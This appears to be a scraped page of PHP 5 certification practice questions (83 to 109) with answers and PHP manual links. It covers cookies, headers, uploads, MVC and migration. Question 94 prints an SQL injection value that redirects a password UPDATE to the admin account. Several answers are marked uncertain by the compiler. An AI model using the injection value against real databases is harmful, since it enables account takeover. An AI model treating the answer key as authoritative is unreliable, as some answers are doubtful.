&lt;a href=&quot;http://wmdn.ru/goto/http://onlamp.com/pub/a/php/2004/08/26/PHPformhandling.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://onlamp.com/pub/a/php/2004/08/26/PHPformhandling.html&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;83. When uploading a file using HTTP, which variable can be used to locate the file on PHP&#39;s local filesystem?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; None of the above&lt;/li&gt;
&lt;li&gt; $_FILES[&#39;fieldname&#39;][&#39;tmp_name&#39;]&lt;/li&gt;
&lt;li&gt; $_FILES[&#39;fieldname&#39;]&lt;/li&gt;
&lt;li&gt; $_FILES[&#39;fieldname&#39;][0][&#39;filename&#39;]&lt;/li&gt;
&lt;li&gt; $_FILES[&#39;fieldname&#39;][&#39;filename&#39;]&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;about:blank&quot;&gt;http://www.php.net/manual/en/features.file-upload.post-method.php:$_FILES[&#39;userfile&#39;][&#39;tmp_name&#39;]&lt;/a&gt; – the temporary filename of the file in which the uploaded file was stored on the server.&lt;br /&gt;
&lt;b&gt;84. To force a user to redirect to a new URL from within a PHP 5 script, which of the following should be used?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Send a HTTP «Location:» header&lt;/li&gt;
&lt;li&gt; Use the HTML &amp;lt;redirect&amp;gt; Tag&lt;/li&gt;
&lt;li&gt; Send a HTTP «Forward:» header&lt;/li&gt;
&lt;li&gt; Use the redirect() function&lt;/li&gt;
&lt;/ol&gt;
Answer:&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.header.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.header.php&lt;/a&gt;, respectively with &lt;a href=&quot;http://wmdn.ru/goto/http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.30&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Location response-header field&lt;/a&gt;.&lt;br /&gt;
&lt;b&gt;85. Setting a cookie on the client in PHP 5 can be best accomplished by:&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Use the add_cookie() function&lt;/li&gt;
&lt;li&gt; Use the setcookie() function&lt;/li&gt;
&lt;li&gt; Use the the apache_send_header() function&lt;/li&gt;
&lt;li&gt; Setting a variable in the $_COOKIE superglobal&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.setcookie.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.setcookie.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;86. How does one create a cookie which will exist only until the browser session is terminated?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; You cannot create cookies that expire when the browser session is terminated&lt;/li&gt;
&lt;li&gt; Setting the expiration time for a cookie to a time in the distant future&lt;/li&gt;
&lt;li&gt; Do not provide a cookie expiration time&lt;/li&gt;
&lt;li&gt; Enable Cookie Security&lt;/li&gt;
&lt;li&gt; Set a cookie without a domain&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.setcookie.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.setcookie.php&lt;/a&gt;: if expire set to 0, or omitted, the cookie will expire at the end of the session (when the browser closes).&lt;br /&gt;
&lt;b&gt;87. Setting a HTTP cookie on the client which is not URL-encoded is done how in PHP 5?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Use the setrawcookie() function&lt;/li&gt;
&lt;li&gt; Set the cookies.urlencode INI directive to false&lt;/li&gt;
&lt;li&gt; Use urldecode() on the return value of setcookie()&lt;/li&gt;
&lt;li&gt; Setting the $no_encode parameter of setcookie() to a boolean &#39;true&#39;&lt;/li&gt;
&lt;li&gt; All cookies must be URL encoded&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.setrawcookie.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.setrawcookie.php&lt;/a&gt;: setrawcookie() is exactly the same as &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.setcookie.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;setcookie()&lt;/a&gt; except that the cookie value will not be automatically urlencoded when sent to the browser.&lt;br /&gt;
&lt;b&gt;88. During an HTTP authentication, how does one determine the username and password provided by the browser?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Parse the HTTP headers manually using http_get_headers()&lt;/li&gt;
&lt;li&gt; Use the get_http_username() and get_http_password() functions&lt;/li&gt;
&lt;li&gt; Use the $_SERVER[&#39;HTTP_USER&#39;] and $_SERVER[&#39;HTTP_PASSWORD&#39;] variables&lt;/li&gt;
&lt;li&gt; Use the $_SERVER[&#39;PHP_AUTH_USER&#39;] and $_SERVER[&#39;PHP_AUTH_PW&#39;] variables&lt;/li&gt;
&lt;li&gt; Parse the $_SERVER[&#39;REQUEST_URI&#39;] variable&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/features.http-auth.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/features.http-auth.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;89. Consider the following function, what conditional should replace the ????? above?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function redirect($url) {&lt;br /&gt;
// Check to make sure we haven&#39;t already sent&lt;br /&gt;
// the header:&lt;br /&gt;
if(???????) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;header(&quot;Location: $url&quot;);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; !in_array(«Location: $url», headers_list())&lt;/li&gt;
&lt;li&gt; !header_exists(«Location: $url»)&lt;/li&gt;
&lt;li&gt; !header_location($url)&lt;/li&gt;
&lt;li&gt; $_SERVER[&#39;HTTP_LOCATION&#39;] != $url&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.headers-list.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.headers-list.php&lt;/a&gt;, also header_exists is not exists.&lt;br /&gt;
&lt;b&gt;90. One can ensure that headers can always be sent from a PHP script by doing what?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Enable header buffering in PHP 5&lt;/li&gt;
&lt;li&gt; Set the header.force INI directive to true&lt;/li&gt;
&lt;li&gt; Enable output buffering in PHP 5&lt;/li&gt;
&lt;li&gt; There is no way to ensure that headers can always be set, they must always be checked&lt;/li&gt;
&lt;li&gt; None of the above&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.ob-start.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.ob-start.php&lt;/a&gt;: while output buffering is active no output is sent from the script (other than headers), instead the output is stored in an internal buffer.&lt;br /&gt;
&lt;b&gt;91. When is it acceptable to store sensitive information in an HTTP cookie?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Only under extremely controlled situations&lt;/li&gt;
&lt;li&gt;When the cookie is sent over a secure HTTP request&lt;/li&gt;
&lt;li&gt;When it is encrypted&lt;/li&gt;
&lt;li&gt;It is always acceptable&lt;/li&gt;
&lt;/ol&gt;
Answer: C (A)&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.setcookie.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.setcookie.php&lt;/a&gt; — the value of the cookie is stored on the clients computer; do not store sensitive information.&lt;br /&gt;
&lt;b&gt;92. Removing undesired markup tags from input can best be done using which function?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;strip_tags()&lt;/li&gt;
&lt;li&gt;tidy_strip_html()&lt;/li&gt;
&lt;li&gt;str_replace()&lt;/li&gt;
&lt;li&gt;strip_html()&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru2.php.net/manual/en/function.strip-tags.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru2.php.net/manual/en/function.strip-tags.php&lt;/a&gt; — strip HTML and PHP tags from a string.&lt;br /&gt;
&lt;b&gt;93. When using a function such as strip_tags, are markup-based attacks still possible?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;No, HTML does not pose any security risks&lt;/li&gt;
&lt;li&gt;Yes, even a &amp;lt;p&amp;gt; HTML tag is a security risk&lt;/li&gt;
&lt;li&gt;Yes, attributes of allowed tags are ignored&lt;/li&gt;
&lt;li&gt;No, strip_tags will prevent any markup-based attack&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru2.php.net/manual/en/function.strip-tags.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru2.php.net/manual/en/function.strip-tags.php&lt;/a&gt; — This function does not modify any attributes on the tags that you allow using allowable_tags, including the style and onmouseover attributes that a mischievous user may abuse when posting text that will be shown to other users.&lt;br /&gt;
&lt;b&gt;94. Consider the following PHP string representing an SQL statement. Which of the following values for $username or $password would change the behavior of this query when executed?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
$query = «UPDATE users SET password=&#39;$password&#39; WHERE username=&#39;$username&#39;»;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; None of the above&lt;/li&gt;
&lt;li&gt; $username = «foobar\&#39; WHERE username=&#39;admin&#39;»;&lt;/li&gt;
&lt;li&gt; $password = «foobar&#39; WHERE username=&#39;admin&#39; —:»;&lt;/li&gt;
&lt;li&gt; $password = «\»foobar\» WHERE username=\»admin\»&quot;;&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/security.database.sql-injection.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/security.database.sql-injection.php&lt;/a&gt; — It is common technique to force the SQL parser to ignore the rest of the query written by the developer with&amp;nbsp;— which is the comment sign in SQL.&lt;br /&gt;
&lt;b&gt;95. SQL Injections can be best prevented using which of the following database technologies?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;All of the above&lt;/li&gt;
&lt;li&gt;Prepared Statements&lt;/li&gt;
&lt;li&gt;Persistent Connections&lt;/li&gt;
&lt;li&gt;Unbuffered Queries&lt;/li&gt;
&lt;li&gt;Query escaping&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/pdo.prepared-statements.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/pdo.prepared-statements.php&lt;/a&gt; — If an application exclusively uses prepared statements, the developer can be sure that no SQL injection will occur (however, if other portions of the query are being built up with unescaped input, SQL injection is still possible).&lt;br /&gt;
&lt;b&gt;96. Where should indirectly executed PHP scripts (i.e. include files) be stored in the file system?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Outside of the Document Root&lt;/li&gt;
&lt;li&gt;In the document root&lt;/li&gt;
&lt;li&gt;Anywhere you want&lt;/li&gt;
&lt;li&gt;In the database&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://phpsec.org/projects/guide/3.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://phpsec.org/projects/guide/3.html&lt;/a&gt;: Remember that everything within document root has a URL associated with it. For example, if document root is /usr/local/apache/htdocs, then a file located at /usr/local/apache/htdocs/inc/db.inc has a URL such as http://example.org/inc/db.inc.&lt;br /&gt;
&lt;b&gt;97. When executing system commands from PHP, what should one do to keep applications secure?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Remove all quote characters from variables used in a shell execution&lt;/li&gt;
&lt;li&gt;Avoid using shell commands when PHP equivlents are available&lt;/li&gt;
&lt;li&gt;Hard code all shell commands&lt;/li&gt;
&lt;li&gt;Escape all shell arguments&lt;/li&gt;
&lt;li&gt;Escape all shell commands executed&lt;/li&gt;
&lt;/ol&gt;
Answer: B, C, D (?)&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.exec.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.exec.php&lt;/a&gt;: When allowing user-supplied data to be passed to this function, use escapeshellarg() or escapeshellcmd() to ensure that users cannot trick the system into executing arbitrary commands.&lt;br /&gt;
&lt;b&gt;98. Why is it important from a security perspective to never display PHP error messages directly to the end user, yet always log them?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Error messages will contain sensitive session information&lt;/li&gt;
&lt;li&gt;Error messages can contain cross site scripting attacks&lt;/li&gt;
&lt;li&gt;Security risks involved in logging are handled by PHP&lt;/li&gt;
&lt;li&gt;Error messages give the perception of insecurity to the user&lt;/li&gt;
&lt;li&gt;Error messages can contain data useful to a potential attacker&lt;/li&gt;
&lt;/ol&gt;
Answer: D, E (A)&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.w3schools.com/php/php_error.asp&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.w3schools.com/php/php_error.asp&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;99. The MVC pattern in Web development involves which of the following components?&lt;/b&gt; (Choose 4 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;View&lt;/li&gt;
&lt;li&gt;Controller&lt;/li&gt;
&lt;li&gt;Validation&lt;/li&gt;
&lt;li&gt;Model&lt;/li&gt;
&lt;li&gt;Front Controller&lt;/li&gt;
&lt;/ol&gt;
Answer: D, A, B (-C)&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Model%E2%80%94view%E2%80%94controller&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Model–view–controller&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;100. Which of the following aspects of the MVC pattern is used in conjunction with the database?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Model&lt;/li&gt;
&lt;li&gt;Schema&lt;/li&gt;
&lt;li&gt;Validation&lt;/li&gt;
&lt;li&gt;Controller&lt;/li&gt;
&lt;li&gt;View&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Model%E2%80%94view%E2%80%94controller&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Model–view–controller&lt;/a&gt;: the &#39;model&#39; in MVC is both the data and the business/domain logic needed to manipulate the data in the application.&lt;br /&gt;
&lt;b&gt;101. What are the primary benefits of object oriented programming?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Maintainability&lt;/li&gt;
&lt;li&gt;Execution Speed&lt;/li&gt;
&lt;li&gt;Encapsulation&lt;/li&gt;
&lt;li&gt;Code Reuse&lt;/li&gt;
&lt;/ol&gt;
Answer: A, C, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Object-oriented_programming#cite_ref-realisticcodereuse_23-0&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Object-oriented_programming#cite_ref-realisticcodereuse_23-0&lt;/a&gt;: OOP was developed to increase the &lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Code_reuse&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;reusability&lt;/a&gt; and &lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Software_maintenance&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;maintainability&lt;/a&gt; of source code.&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Object-oriented_programming#cite_note-realisticcodereuse-23&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;[24]&lt;/a&gt;, and of course &lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Object-oriented_programming#Encapsulation&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Encapsulation&lt;/a&gt;.&lt;br /&gt;
&lt;b&gt;102. What constitutes a View in the MVC pattern for PHP 5, in the following list?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Iterators&lt;/li&gt;
&lt;li&gt;PDO&lt;/li&gt;
&lt;li&gt;Classes&lt;/li&gt;
&lt;li&gt;PHP&lt;/li&gt;
&lt;li&gt;Smarty&lt;/li&gt;
&lt;/ol&gt;
Answer: D, E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller#Concepts&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Model–view–controller#Concepts&lt;/a&gt;: The view renders the model into a form suitable for interaction, typically a user interface element.&lt;br /&gt;
&lt;b&gt;103. Which of the following extensions are no longer part of PHP 5 and have been moved to PECL?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;tidy&lt;/li&gt;
&lt;li&gt;mysql&lt;/li&gt;
&lt;li&gt;w32api&lt;/li&gt;
&lt;li&gt;curl&lt;/li&gt;
&lt;li&gt;dio&lt;/li&gt;
&lt;/ol&gt;
Answer: C, E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/intro.w32api.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/intro.w32api.php&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/intro.dio.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/intro.dio.php&lt;/a&gt;: This extension has been moved to the &lt;a href=&quot;http://wmdn.ru/goto/http://pecl.php.net/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;» PECL&lt;/a&gt; repository and is no longer bundled with PHP as of PHP 5.1.0.&lt;br /&gt;
&lt;b&gt;104. Which of the following functions were added to PHP 5 for dealing with arrays?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;array_intersect_key()&lt;/li&gt;
&lt;li&gt;array_unshift()&lt;/li&gt;
&lt;li&gt;array_diff_key()&lt;/li&gt;
&lt;li&gt;array_merge()&lt;/li&gt;
&lt;li&gt;array_slice()&lt;/li&gt;
&lt;/ol&gt;
Answer: A, C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.array-intersect-key.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.array-intersect-key.php&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://wmdn.ru/goto/http://ru.php.net/manual/en/function.array-diff-key.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://ru.php.net/manual/en/function.array-diff-key.php&lt;/a&gt;: (PHP 5 &amp;gt;= 5.1.0)&lt;br /&gt;
&lt;b&gt;105. Consider the following script. This code has changed behavior in PHP 5. Identify the output of this script as it would have been in PHP 4, as well as the new behavior in PHP 5.&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function func(&amp;amp;$arraykey) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;return $arraykey; // function returns by value!&lt;br /&gt;
}&lt;br /&gt;
$array = array(&#39;a&#39;, &#39;b&#39;, &#39;c&#39;);&lt;br /&gt;
foreach (array_keys($array) as $key) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$y = &amp;amp;func($array[$key]);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$z[] =&amp;amp; $y;&lt;br /&gt;
}&lt;br /&gt;
var_dump($z);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;array(&#39;a&#39;, &#39;a&#39;, &#39;b&#39;)&lt;/li&gt;
&lt;li&gt;array(&#39;a&#39;, &#39;b&#39;, &#39;c&#39;)&lt;/li&gt;
&lt;li&gt;array(&#39;c&#39;, &#39;b&#39;, &#39;a&#39;)&lt;/li&gt;
&lt;li&gt;array(&#39;c&#39;, &#39;c&#39;, &#39;c&#39;)&lt;/li&gt;
&lt;li&gt;array(&#39;b&#39;, &#39;b&#39;, &#39;b&#39;)&lt;/li&gt;
&lt;/ol&gt;
Answer: B, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.references.return.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/language.references.return.php&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/functions.returning-values.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/functions.returning-values.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;106. Consider the following code block. This code block&#39;s behavior has changed between PHP 4 and PHP 5. Why?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function &amp;amp;myFunction() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$string = &quot;MyString&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;var_dump($string);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;return ($undefined);&lt;br /&gt;
}&lt;br /&gt;
for($i = 0; $i &amp;lt; 10; $i++) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$retval = myFunction();&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;None of the above&lt;/li&gt;
&lt;li&gt;This could would cause an automatic segmentation fault in PHP 4&lt;/li&gt;
&lt;li&gt;This code would throw a syntax error in PHP 4&lt;/li&gt;
&lt;li&gt;Returning an undefined variable by reference in PHP 4 would cause eventual memory corruption&lt;/li&gt;
&lt;li&gt;You could not return undefined variables by reference in PHP 4&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.return.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.return.php&lt;/a&gt;: You should never use parentheses around your return variable when returning by reference, as this will not work.&lt;br /&gt;
&lt;b&gt;107. When migrating the following code from PHP 4 to PHP 5, what should be changed?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
class MyClass {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;function MyClass($param) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* Do something with $param */&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$this-&amp;gt;_doSomething($param);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;// Private method to MyClass&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;function _doSomething($param) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/* Do something with $param */&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
class AnotherClass extends MyClass {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;var $param = &quot;foo&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;function AnotherClass() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;parent::MyClass($this-&amp;gt;param);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Access modifiers should be added to methods&lt;/li&gt;
&lt;li&gt;The Constructors for the objects should both be renamed to __construct&lt;/li&gt;
&lt;li&gt;The use of the parent keyword has changed to &#39;super&#39;&lt;/li&gt;
&lt;li&gt;Constructors must have the same parameter lists&lt;/li&gt;
&lt;/ol&gt;
Answer: A, B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.decon.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.decon.php&lt;/a&gt;: For backwards compatibility, if PHP 5 cannot find a __construct() function for a given class, it will search for the old-style constructor function, by the name of the class. Effectively, it means that the only case that would have compatibility issues is if the class had a method named __construct() which was used for different semantics. And &lt;a href=&quot;http://wmdn.ru/goto/http://devzone.zend.com/article/1714#Heading4&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://devzone.zend.com/article/1714#Heading4&lt;/a&gt; about Access modifiers in PHP 5.&lt;br /&gt;
&lt;b&gt;108. Assuming every method call below returns an instance of an object, how can the following be re-written in PHP 5?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$a = new MyClass();&lt;br /&gt;
$b = $a-&amp;gt;getInstance();&lt;br /&gt;
$c = $b-&amp;gt;doSomething();&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;$c = ((MyClass)$a-&amp;gt;getInstance()) -&amp;gt;doSomething();&lt;/li&gt;
&lt;li&gt;This cannot be re-written in PHP 5&lt;/li&gt;
&lt;li&gt;$c = $a-&amp;gt;getInstance() -&amp;gt;doSomething();&lt;/li&gt;
&lt;li&gt;$c = (MyClass)$a-&amp;gt;getInstance();&lt;/li&gt;
&lt;li&gt;$c = (new MyClass()) -&amp;gt;getInstance() -&amp;gt;doSomething();&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
What the link?&lt;br /&gt;
&lt;b&gt;109. How can the following code be re-written from PHP 4 to PHP 5?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
if(get_class($myObj) == &quot;MyClass&quot;) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;// Do something&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; if(get_class($myObj) === «MyObject)&lt;/li&gt;
&lt;li&gt; if(strtolower(get_class($myObj)) == «MyClass»)&lt;/li&gt;
&lt;li&gt; if($myObj implements MyClass)&lt;/li&gt;
&lt;li&gt; if($myObj instanceof Object)&lt;/li&gt;
&lt;li&gt; if($myObj instanceof MyClass)&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
